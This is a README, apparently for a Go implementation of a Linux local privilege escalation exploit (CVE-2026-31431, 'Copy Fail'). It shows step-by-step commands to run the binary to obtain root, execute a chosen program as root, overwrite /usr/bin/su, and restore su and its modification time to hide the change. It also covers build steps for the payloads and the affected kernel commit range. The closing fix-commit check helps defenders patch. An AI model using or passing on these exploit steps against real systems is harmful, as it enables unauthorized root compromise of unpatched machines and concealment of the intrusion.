大多数 Linux LPE 漏洞需要竞态窗口或特定内核的偏移量。Copy Fail 是一个直线型逻辑缺陷——两者都不需要。同一个
732 字节的 Python 脚本静态 Go 二进制即可攻破自 2017 年以来发布的所有 Linux 发行版。
CVE-2026-31431 的 Go 实现。适用于你需要静态二进制且不依赖 Python 的情况。
更多信息请参阅 copy.fail。
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su
root@host# cat /tmp/su > /usr/bin/su # Restore the original su binary
root@host# touch -r /tmp/su /usr/bin/su # Restore the modified time of the original su
root@host# rm /tmp/su
root@host# # Do things as root =)
用于将某个程序提权至 root
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
user@host$ # Use whatever you ran to restore su from /tmp/su
你可以在 Debian 主机(已测试 Debian 13)上通过 payloads/build-n-print.sh 自行编译这些 payload。
你需要先执行 apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf,然后在 payloads 目录内运行该脚本。它会编译每个 payload 并输出 zlib 压缩后的十六进制字符串。将这些字符串与 main.go 中的内容进行比对(或用你自己的内容替换),然后在主项目目录下通过 goreleaser build --snapshot --clean 构建 copyfile-go 二进制。
floor: torvalds/linux 72548b093ee3 August 2017, v4.14
(AF_ALG iov_iter rework that
introduced the file-page write
primitive via splice into the AEAD
scatterlist)
ceiling: torvalds/linux a664bf3d603d April 2026, mainline
(reverts the 2017 algif_aead
in-place optimization; separates
source and destination scatterlists
so page-cache pages can no longer
be a writable crypto destination)
介于两者之间:所有未移植修复程序的主流发行版内核。
在披露时,Ubuntu、RHEL、SUSE、Amazon Linux 和 Debian 的
标准云镜像内核均被确认存在漏洞。发行版级别的
移植修复大约在 2026-04-29 与公开披露同步开始推出。
要验证目标内核是否处于受影响窗口内,请检查
内核的 git 日志或发行版的变更日志中是否存在
a664bf3d603d(或其特定发行版的移植版本)。